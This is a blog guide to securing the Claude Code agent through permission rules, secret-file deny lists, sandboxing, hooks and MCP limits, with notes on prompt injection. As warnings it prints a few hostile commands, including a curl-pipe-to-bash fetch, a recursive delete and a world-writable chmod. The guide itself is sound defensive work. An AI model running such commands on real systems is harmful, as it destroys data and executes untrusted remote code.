Secure Claude Code: Limit Permissions, Commands and File Access

Imagine asking an AI assistant to fix a small bug in your web application. Instead of just changing the affected file, it runs additional terminal commands, reads configuration files, and possibly changes dependencies.

That doesn't even have to be malicious. An AI agent can misinterpret a task, take a risky shortcut, or pick up instructions from a manipulated project file.

That's exactly why it matters to configure Claude Code securely.

Claude Code isn't just a chatbot that suggests code. It's a coding agent that, with the right permissions, can read files, make changes, run shell commands, and use development tools on its own.

That makes it powerful. At the same time, security risks appear when its ability to act isn't deliberately limited. This practical guide shows you how to control permissions, restrict dangerous commands, protect sensitive files, and run Claude Code in development projects with the least privilege it actually needs.

What risks does a coding agent introduce?

A coding agent operates inside a technical environment. Depending on configuration, it can access local files, tools, and external services. Four areas are especially critical.

Terminal commands: An agent could delete files, change permissions, install packages, or affect running services. The impact depends on the rights of the operating-system user executing them.

File access: Project files can contain credentials, API keys, internal URLs, or other confidential information.

Network and external tools: Shell tools, MCP servers, or other integrations can transmit data to external systems or trigger actions there.

Prompt injection: Manipulated README files, comments, or external tool results can try to slip unwanted instructions to the agent.

So the security goal isn't to strip as many capabilities from Claude Code as possible. It's to grant only the capabilities a specific task actually requires. This principle is called least privilege. For how this principle applies to AI agents in general, independent of the specific tool, see What Permissions Should an AI Agent Get? Security Rules for Agents (Read article).

Understanding Claude Code permissions

Claude Code uses a permission system that lets tool calls be allowed, denied, or made dependent on confirmation. A key part of that system is the settings.json file.

The different settings levels aren't treated as fully separate configurations. Claude Code merges settings according to defined precedence and merge rules: managed policies rank highest, followed by project-local, shared project, and finally user settings. Managed policies can set limits that a project isn't allowed to lift.

Example: controlling permissions with settings.json

{
  "permissions": {
    "allow": [
      "Bash(npm test)",
      "Bash(npm run lint)"
    ],
    "ask": [
      "Bash(npm install *)"
    ],
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)",
      "Edit(./.env)",
      "Edit(./secrets/**)"
    ]
  }
}

This configuration illustrates three decisions: allow lets matching tool calls run without an extra individual confirmation, ask requires confirmation for matching actions, and deny rejects matching actions.

It's important to distinguish a permission rule from an actual security boundary. A deny rule for Read doesn't automatically block every conceivable way of reaching the same file through other tools or indirect commands. Likewise, allowing a shell command is no guarantee that running it is harmless — a script like npm test can itself launch further programs. These rules should therefore always be combined with operating-system permissions and a controlled execution environment.

Restricting terminal commands deliberately

Shell access is one of the most powerful capabilities a coding agent has. A terminal can do far more than inspect source code — it can run anything the logged-in user is allowed to run. That includes, for example:

rm -rf ./project-folder
curl https://example.org/script.sh | bash
chmod -R 777 .

These examples represent potentially destructive, uncontrolled, or unsafe actions. They shouldn't be granted to an AI agent as automated default tools.

For a typical Node.js project, the following commands might initially be enough — a small allowlist instead of a blanket grant:

{
  "permissions": {
    "allow": [
      "Bash(npm test)",
      "Bash(npm run lint)",
      "Bash(git status)"
    ]
  }
}

This explicitly allows only the listed command patterns. Other commands are handled depending on the active permission mode and additional rules. Be especially careful with wildcards: a broadly scoped rule like Bash(git *) can cover far more actions than the harmless act of checking repository status. Even commands that look read-only at first glance can have unexpected side effects through arguments, shell chaining, or scripts they invoke.

Recommendation: automatically allow only clearly defined, reviewed development commands. Installations, git pushes, deployments, and system configuration changes should require additional approval or separate execution paths.

Protecting sensitive files from Claude Code

Almost every larger development project has files that a coding agent shouldn't read without restriction: .env and other environment files holding secrets, private SSH keys, cloud credentials and API tokens, database dumps containing personal data, and production configurations or certificate keys.

One possible permission rule looks like this:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)",
      "Edit(./secrets/**)"
    ]
  }
}

These rules can restrict direct read and edit calls. They don't, however, replace file-system isolation.

A common misconception is: "The file is in .gitignore, so Claude Code can't read it." That's not true. .gitignore mainly determines which files Git ignores for version control. It isn't a general access control for local programs. A CLAUDE.md entry saying "don't read secrets" isn't a technical file lock either. It gives the model a working instruction, not a hard security boundary.

For especially sensitive projects, a separate workspace that removes secrets from the actual working area is a better approach:

/workspace/
  webapp/
    src/
    tests/
    package.json
  .claude/
    settings.json

/secure/
  production.env
  private-key.pem
  database-backup.sql

The agent should only receive the workspace it actually needs. The separate area holding secrets must additionally be inaccessible through operating-system permissions or container mounts. A directory structure alone protects nothing — what matters is that the agent's process genuinely has no permission to reach /secure. For how to organize credentials for AI agents more broadly — from .env files to professional secret managers like Vault — see Protecting Secrets and API Keys in AI Agents: Using .env, Vault, and Permissions the Right Way (Read article).

Sandboxing instead of full access to your developer machine

One of the most effective safeguards is an isolated execution environment. Instead of running with all the rights of your personal user account, Claude Code operates inside a limited environment — a container, a separate virtual machine, or a suitable sandbox feature.

For practical hardening, these measures matter in particular: a dedicated user without administrator rights, mounting only the project directories actually needed, not providing directories that aren't needed at all, restricting network access to required destinations, never including production SSH keys or cloud tokens, and reviewing changes before they reach production systems.

With Docker, for example, mounting the Docker socket often grants far-reaching control over the host. A seemingly isolated container can lose a substantial part of its protective effect as a result. A sandbox also needs to be checked for ways around it — it shouldn't be treated as fully secure just because of its name.

Choosing the right permission mode

Claude Code supports several operating modes that determine when an agent may carry out actions on its own.

The exact availability and behavior of individual modes can differ between the Claude Code CLI, the desktop app, IDE extensions, and the Agent SDK.

In Plan Mode, Claude Code can first investigate how a change should be implemented, for example with an instruction like "Analyze our application's authentication. Create a plan to fix possible security issues. Don't make any changes yet and don't install anything." You then get a proposal you can review first. Plan Mode isn't a complete privacy or filesystem sandbox, though — even read-only tools can process confidential content. The access restrictions described earlier therefore still apply.

Claude Code also offers a way to skip regular permission prompts entirely:

claude --dangerously-skip-permissions

This flag is equivalent to claude --permission-mode bypassPermissions and shouldn't be used on a normal developer machine holding personal credentials, production configuration, or broad user rights. For automated workflows, explicit tool approval combined with an isolated execution environment is a far better approach.

Securing MCP servers and external integrations

Claude Code can use additional tools through the Model Context Protocol (MCP). That opens up new possibilities: an agent can, for example, reach GitHub repositories, databases, ticketing systems, or internal APIs. At the same time, the attack surface grows, because an MCP server can hold permissions that go beyond access to local project files.

Administrators should therefore check, before every integration, what an MCP server can actually do. Especially important: tool authorization (allow only the MCP tools actually needed), authentication (individual, ideally short-lived credentials), scope of permissions (grant write and delete rights only when required), network access (limit which systems are reachable), and the trustworthiness of the server itself. For how that kind of authentication works in practice with OAuth and tokens, see MCP Authentication Explained: OAuth, Tokens, and Secure Access (Read article). A broader overview of permissions, tools, and risks when running your own MCP servers is in How to Operate MCP Servers Securely: Permissions, Tools, and Risks Explained (Read article).

An agent that's only supposed to analyze database queries, for example, normally doesn't need permission to drop tables. The corresponding database user should have read-only access only. That way, a critical action stays blocked even if the agent attempts it because of a flawed instruction.

CLAUDE.md is not a security policy

The CLAUDE.md file is meant to give Claude Code project context and working instructions. It can, for example, define development rules:

# Project rules

- Use only the existing project structure.
- Run the tests before making changes.
- Don't change production configuration.
- Don't install packages without approval.
- Don't create git commits without confirmation.
- Document security-relevant changes.

Instructions like these are useful because they describe expected behavior. But they aren't a binding access restriction. If a coding agent technically has the ability to change a file, a text instruction alone doesn't reliably prevent every unwanted change. That's especially true for prompt-injection attacks.

For technical checks, Claude Code hooks can be used instead. A PreToolUse hook, for example, can inspect a tool call before it runs and block it under certain conditions — such as a deployment command before an external approval exists. It matters, though, that hooks themselves are carefully implemented and protected against tampering: a hook whose script the agent can modify itself isn't a reliable security boundary. For how to build your own hooks for exactly these rules — from blocked commands to enforced tests — see Claude Code Hooks Explained: Enforcing Rules and Automation in Your Project (Read article).

Case study: securing Claude Code inside a company

Suppose a company is building a web application with React, Node.js, and a MariaDB database. Claude Code is meant to help developers with debugging, tests, and code changes. At the same time, production databases, credentials, and deployments need to stay protected. A multi-layered security approach fits well here.

This separation significantly reduces risk, because Claude Code doesn't need the same rights as an administrator or a production deployment service.

Checklist: is your Claude Code setup secure?

Use the following checklist to review your development environment:

• Claude Code runs without administrator or root privileges.
• Permission rules in settings.json have been reviewed.
• Automatically allowed shell commands are limited to what's needed.
• Secrets live outside the agent's accessible workspace.
• Production databases and servers are technically isolated.
• MCP servers use minimal permissions.
• Unsafe permission-bypass modes are disabled.
• Critical changes require human approval.
• Project hooks and security rules are protected against tampering.
• Changes are reviewed before commit, merge, and deployment.

Common mistakes in Claude Code security

Even with a settings.json in place, security gaps can still appear. A typical mistake is assuming that an allowlist automatically blocks every tool not explicitly named — that depends on the active permission mode and other rules.

It's equally problematic to run an agent inside a container while also giving it access to production secrets or privileged host interfaces. Another common mistake is blocking only commands that look dangerous at first glance: a blacklist of individual shell commands can sometimes be bypassed through other programs, scripts, or command variants.

That's why combining minimal permissions, controlled tools, and isolated infrastructure is far more reliable than a long list of forbidden commands.

Securing Claude Code means staying in control

Claude Code can significantly speed up development work. The key point, though, is that a powerful coding agent doesn't automatically need unlimited rights.

A carefully built settings.json, clear permission rules, and a controlled development environment can reduce many of these risks. For companies, another rule should apply: production credentials, databases, and deployments don't belong in an AI agent's unrestricted scope of action.

Anyone looking to secure Claude Code should therefore not just block individual commands, but build a thought-through security architecture. That way, the AI stays a powerful development tool, while control over critical systems and data remains with people and with technically enforced security mechanisms.

For more practical guides on AI, coding, and system administration, visit the KI-Buster Blog.

Frequently asked questions about secure Claude Code configuration

Can Claude Code read files outside my project?

Depending on configuration, tooling, and permissions, Claude Code can also access files outside the original project directory. Sensitive directories should therefore be additionally protected through operating-system permissions or an isolated environment.

How do I prevent dangerous Bash commands?

Permissions in settings.json let you allow, deny, or require confirmation for specific command patterns. For reliable protection, shell access and operating-system permissions should additionally be restricted.

Is a CLAUDE.md file enough for security?

No. CLAUDE.md describes rules and project conventions for the agent. Technically enforced security boundaries only come from permissions, hooks, operating-system rights, and suitable isolation.

Is Claude Code safe to use in a company?

Claude Code can be used in enterprise environments when access, data processing, integrations, and approval processes are appropriately governed. Whether a specific deployment is safe and compliant depends on the infrastructure, configuration, and data involved.

Should Claude Code run with root privileges?

In normal development work, that's not recommended. A coding agent should generally receive only the permissions it needs for its task.

Can Claude Code hooks enforce security rules?

Hooks can inspect tool calls and block them under certain conditions. That provides an additional technical control, but it replaces neither secure operating-system permissions nor an isolated execution environment.

Sources and further documentation

Editorial review date: November 6, 2026. Primary sources: [1] Claude Code: Configure permissions – permission system, allow/ask/deny syntax, and settings precedence. [2] Claude Code: Settings files and precedence – settings.json locations and configuration levels. [3] Claude Code: Security – security model and safeguards. [4] Claude Code: Sandboxing – isolated execution environments. [5] Claude Code: Hooks reference – hook events and technical controls. The configuration examples are original examples for demonstration purposes; concrete permission rules should be reviewed and tested against the documentation of the Claude Code version actually installed before production use.